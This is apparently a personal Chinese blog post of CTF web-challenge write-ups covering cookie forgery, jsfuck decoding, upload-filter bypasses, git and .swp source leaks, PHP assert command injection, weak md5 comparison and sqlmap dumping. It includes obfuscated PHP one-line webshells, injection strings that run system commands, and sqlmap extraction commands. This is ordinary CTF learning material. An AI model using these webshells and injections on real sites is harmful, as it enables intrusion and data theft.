突然发现一年多没更新过了,纪我曾经的ctf青春
目录
基础练习
Who Are You?
Broken
文件上传练习
Do you know upload?(第三届“百越杯”福建省高校网络空间安全大赛)
git源码泄漏练习
BABY PHP
实验吧
1.后台登录
2.Forms
3.貌似有点难
4.what a fuck这是什么鬼东西
5.猫抓老鼠
6.文件泄漏
7.天网管理系统
8.Oncemore
9.Guess Next Session
10.这个看起来有点简单!
题目描述:我是谁,我在哪,我要做什么?题目链接:http://106.75.72.168:2222/
打开题目显示:Sorry. You have no permissions.
在遇到这种情况时我们需要考虑三个方面:
1.是否存在敏感文件泄露?
2.是否存在跳转?
3.cookie/session
我们逐项来看,首先是文件泄露
通过御剑扫描,我们似乎并没有发现什么有用的信息,接下来是跳转,使用bp抓包,同样也没有发现有跳转的有用信息,那么只剩下了cookie,我们查看cookie。很明显这是一个base64加密过的字符串,我们对其进行解密,得到f:5:“thrfg”; 根据经验我们会发现这是一个rot13加密,我们对其进行解密得到s:5:“guest”; 到这里我们就明白了,我们需要admin权限,那么反过来我们队admin进行rot13以及base64加密得到一个新的字符串,将原来的cookie进行替换来试一下
我们成功的进入到了下一个页面,查看源代码通过源代码我们很容易发现这是一个文件上传漏洞,尝试上传一个文件
但是好像并不成功,页面返回了No No No!,我们猜测这其中有正则过滤,但是我们又知道preg_match函数的$subject参数要求是字符串,如果是数组类型的话,函数会返回false,尝试修改data为数组进行POST,我们得到了返回值,访问这个路径便会得到flag。
题目描述:you got a file, but … 题目链接:http://106.75.72.168:1111/
打开题目后会显示Hi, a CTFer. You got a file, but it looks like being broken.
查看file,可以发现这是一段jsfuck编码
老司机们一定会想到控制台跑一下,但是会发现并没有运行结果,我们再来仔细的看一下这段编码,似乎发现和我们平常的jsfuck是有区别的,正常的jsfuck开头为[] (![]+[]),而我们的开头似乎少了一个],我们补全后再次运行,会看到
flag is not here,很明显这是调用了函数显示出的弹窗,于是我们删掉最后的()调用便可以得到flag
Upload(百度杯九月场)
题目描述:想怎么传就怎么传,就是这么任性。hint:flag在flag.php中
打开题目链接以后我们会发现这是一道文件上传的题目,并且题目说你可以随意上传文件,那我们上传一句话木马试一试。
构造一个简单的一句话木马:
上传文件,上传成功后我们打开上传的的文件看一下,会发现我们的一句话木马变成了这个样子:
@eval($_POST[value]);?>
说明过滤了
再次上传并连接菜刀便可以找到flag.php文件
这道题目是一道基础的文件上传,需要我们学会一句话木马以及菜刀的使用方式,列举几个常见的比较特殊的一句话木马,在大家今后的学习中会经常用到。
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话
$filename=$_GET['xbid'];
include ($filename);//危险的include函数,直接编译任何文件为php格式运行
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//重命名任何文件
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话
include ($uid);//危险的include函数,直接编译任何文件为php格式运行
POST //gif插一句话
题目描述:加油吧,少年。
和上一道题目类似,只不过这道题目要求我们上传一张图片,我们有两种处理方式,在这里我为大家一一演示。
方法一:上传jpg
我们将写好的一句话木马制作成jpg格式,并且上传抓包
在这里我们将其更改成.php文件重新上传
图片上传成功,我们可以看到图片存在upload/aaa333.php下方,菜刀连接。
在config配置文件中我们看到了数据库的用户名和密码,连接数据库,
在数据库中我们拿到了flag。
方法二:上传.php文件
我们在这里也可以上传.php文件,但是网页会显示如下图所示的文件类型不允许,
于是我们对其进行抓包,
更改Content-Type: application/octet-stream为Content-Type: image/jpeg,POST,接下来做法和上边的相同,小伙伴们可以自己动手试一下。
在正式做题之前,我们首先需要了解一下什么是Git源码泄露。提到网页漏洞,你可能会更多的想到XSS,CSRF,SSRF,SQL注入等等,其实源码泄露在我们日常生活中也是一个经常出现的问题,例如2015 年 5 月,乌云白帽子“lijiejie”提交的漏洞 “大众点评某站点 git 泄漏源代码“,缺陷编号:wooyun-2015-0117332。在此次案例当中,白帽子发现 URL(http://qq.m.dianping.com/.git/ )可以访问,于是通过工具 githack 下载里面的文件,这便是很典型的一个源码泄露案例。那么问题来了Git源码泄露是如何产生的呢?我们如何检测Git源码泄露呢?
Git源码泄露普遍发生于一些小型企业(当然大型企业也存在),由资金不足,公司可能没有自己的专属服务器,于是会将网站部署到虚拟机里,由于在多数情况下FTP上传文件较慢,于是程序员多选择将源码打包以后上传,上传以后在进行解压,虽然这样子看上去省时省力,但是其实留下了不少的安全隐患,一旦程序员忘记将压缩包删除,攻击者便可以获取源码,在自己的服务器上部署源码从而获取更多的安全漏洞。我们常用的到的工具为王一航大佬的GitHack,大家可以去GitHub上进行下载:https://github.com/WangYihang/GitHacker
在有以上基础知识以后我们正式开始今天的练习,题目来源Jarvis oj,通过今天的练习我们要掌握Git源码泄露,assert()函数的语法以及PHP注入的常规操作。
打开题目链接,我们可以看到如下界面,随意点击查看,
在About界面下我们看到了Git,这不免让人怀疑是否存在GIT源码泄露
我们再查看一下源代码
发现有一个小的hint,?page=flag,那么不出意料的话,我们的flag会存在于flag.php下,既然猜测有源码泄露,那么我们不妨尝试一下,果然是有东西存在的。
对以下代码进行审计,整体上来看,page函数存在注入漏洞,
我们来看assert函数,assert()函数会将读入的代码当做PHP代码来执行,注入思路:整体上可以注释掉’, ‘..’) === false,或者不注释,只在中间插入。我们使用?page=flag’.system(“ls”).’来查看目录,进入目录查看文件?page=flag’.system(“cd templates;ls”).’查看flag:?page=flag’.system(“cat templates/flag.php”).’查看源代码,这道题目就完成了。
总计:在PHP代码注入中:
连接自己的命令 :;and | . ,
system(“xxx”) 中命令使用双引号
闭合引号时:php中单引号不解释变量,双引号解释,一般都是单引号
输入ffifdyop得到flag
CTF常见题型之查看源码,查看源码发现post,而且value=0,type=hidden,所以使用火狐插件更改showsource的值,得到a的值,提交得到flag
X-Forwarded-For代表客户端请求者的真实ip,得到flag
控制台跑一下得到flag
原理:jother编码:jother是一种运用js中利用少量字符构造精简的匿名函数方法对字符串进行编码的方式。比如!+、[]{}等等……
Bp抓包,看到一个base64加密的样子的字符串,其实直接提交到key栏里就可以得到key,不需要进行base64解密的。
第一次见到.swp文件泄露,产生这个的原因是在使用vim编写时,断电等其他非预期情况终止编写,系统便自动保存了.swp文件。查看源代码,在content处看到了vim,所以猜测是.swp文件泄露,访问2,使用bp抓包
构造url .submi.php.swp
再看到如下内容
第一行:如果token长度不是10,fail,
第二行:如果token值不为0,fail
第三行:要使用管理员邮箱,我们在第一次抓包已经看到了管理员邮箱
所以构造url
http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0e00000000
查看源码,得知考察的是md5的弱类型,google一下就行,得到一个url
/user.php?fame=hjkleffifer
然后看到一段话
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
看到了unserialize这个东西,去查了下,这是php反序列化,如下图得到flag
分析代码从上到下
要求1.正则包含小写a-z,大写A-Z,以及数字0-9,否则弹出你的密码必须包含字母数字
要求2.长度要小于8,但是值要大于9999999,并且password里必须含有*--*
想一下只能是科学计数法,尝试
题目中的要求1.ereg()漏洞,ereg()的漏洞是%00截断,所以尝试1e9%00*-*得到flag
查看源码,发现有get请求,一般情况下有get就压考虑抓包,进行抓包,我们传入一个password,但是由于rand是一个随机函数,我们也不知道接下来会是什么,所以我们将presses和password的值都设为空运行一下得到flag
有注入,sqlmap跑一下
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --hex
~ sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump